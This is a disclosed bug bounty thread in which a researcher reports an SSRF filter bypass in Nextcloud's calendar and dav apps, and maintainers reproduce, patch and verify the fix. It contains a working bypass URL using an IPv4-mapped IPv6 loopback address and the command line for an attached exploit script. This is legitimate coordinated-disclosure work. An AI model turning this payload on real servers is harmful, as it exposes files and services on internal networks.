17 **SSRF protection bypass**

Share:

TIMELINE

foobar7 submitted a report to Nextcloud. Nov 13th (3 ye

CVSS

High 7.7 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Description

The filter which protects Nextcloud from SSRF can be bypassed using IPv6/IPv4 address embedding.

SSRF protection is for example used in the calendar or dav apps. Successful exploitation of the issue will allow reading of files in the local network with the authorization of the server hosting Nextcloud.

POC

The following example can be used to bypass the SSRF filter, where `127.0.0.1` is the server hosting the file:

http://[0:0:0:0:0:ffff:127.0.0.1]/thefile

The issue can for example be exploited in the calendar app with the attached exploit. Usage:

python nextcloud_ssrf.py http://192.168.0.105/nextcloud/nextcloud/ admin "[password]" http://[0:0:0:0:0:ffff:127.0.0.1]:80/secret.ics
BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//hacksw/handcal//NONSGML v1.0//EN
BEGIN:VEVENT
UID:uid1@example.com
DTSTAMP:19970714T170000Z
ORGANIZER;CN=John Doex:MAILTO:john.doe@example.com
DTSTART:19970714T170000Z
DTEND:19970715T035959Z
SUMMARY:Bastille Day Party
GEO:48.85299;2.36885
END:VEVENT
END:VCALENDAR

Impact

exfiltrate data from the internal network and perform actions in the name of the server in the internal network

1 attachment:
F633323: nextcloud_ssrf.py

nc-bot: posted a comment. Nov 13th (3 ye

Thanks a lot for reporting this potential issue back to us!

Our security team will take a look at this issue as soon as possible. We will reply to your report within 72 hours, usually much faster. For obvious reasons we'd like t
you to not disclose this issue to any other party.

georgehrke posted a comment. Nov 14th (3 ye

Hi Tim,

Thanks for your report, i was able to reproduce it.
I was surprised to see this working, since i would have expected PHP's filter_var function to handle this.
https://github.com/nextcloud/server/blob/089a421ecec1c5c51b9811ff24ec0035d4e604c1/apps/dav/lib/BackgroundJob/RefreshWebcalJob.php#L246

I'm looking forward to providing a patch that mitigates this issue by checking for IPv6/IPv4 address embedding and checking the embedded IPv4 address against filter_var.

Once i have a patch ready, i will get back to you.

Sincerely,
Georg

georgehrke changed the status to **Triaged**. Nov 14th (3 ye

foobar7 posted a comment. Updated Nov 14th (3 ye

`filter_var("[0:0:0:0:0:ffff:127.0.0.1]", FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)` returns false for me, but so does `filter_var([0:0:0:0:0:ffff:127.0.0.1], FILTER_VALIDATE_IP)`. So the `if` evaluates to false, because PHP doesn't accept the input as valid IP in the first place.

Best,
Foobar7

georgehrke posted a comment. Nov 14th (3 ye
filter_var does generally not accept IPv6 addresses in brackets, see https://3v4l.org/0kB3d

That's why we manually remove them here:
https://github.com/nextcloud/server/blob/089a421ecec1c5c51b9811ff24ec0035d4e604c1/apps/dav/lib/BackgroundJob/RefreshWebcalJob.php#L230L232

georgehrke posted a comment. Nov 25th (3 ye
Hi @foobar7,

Can you please verify that this patch fixes the problem.
https://gist.github.com/georgehrke/4de652518fd66c691290b803d8dfe01a

Thanks a lot,
Georg

foobar7 posted a comment. Nov 25th (3 ye
Hi @georgehrke,

looks good to me, I wasn't able to bypass it.

As the calendar app uses the same SSRF protection, the fix should also be applied to `/apps/calendar/controller/proxycontroller.php`.

Best,
Foobar7

nickvergessen Nextcloud staff closed the report and changed the status to **Resolved**. Feb 6th (3 ye
Thanks a lot for your report again. This has been resolved in our latest maintenance releases and we're working on the advisories at the moment.

Please let us know how you'd like to be credited in our official advisory. We require the following information:

- Name / Pseudonym
- Email address (optional)
- Website (optional)
- Company (optional)

foobar7 posted a comment. Feb 8th (3 ye
Hi @nickvergessen,

you can credit me as Tim Coen (https://security-consulting.icu/blog/).

Thanks!
Tim

Nextcloud rewarded foobar7 with a **$100** bounty. Feb 13th (3 ye

nickvergessen Nextcloud staff updated the severity from High to Medium (6.3). Feb 13th (3 ye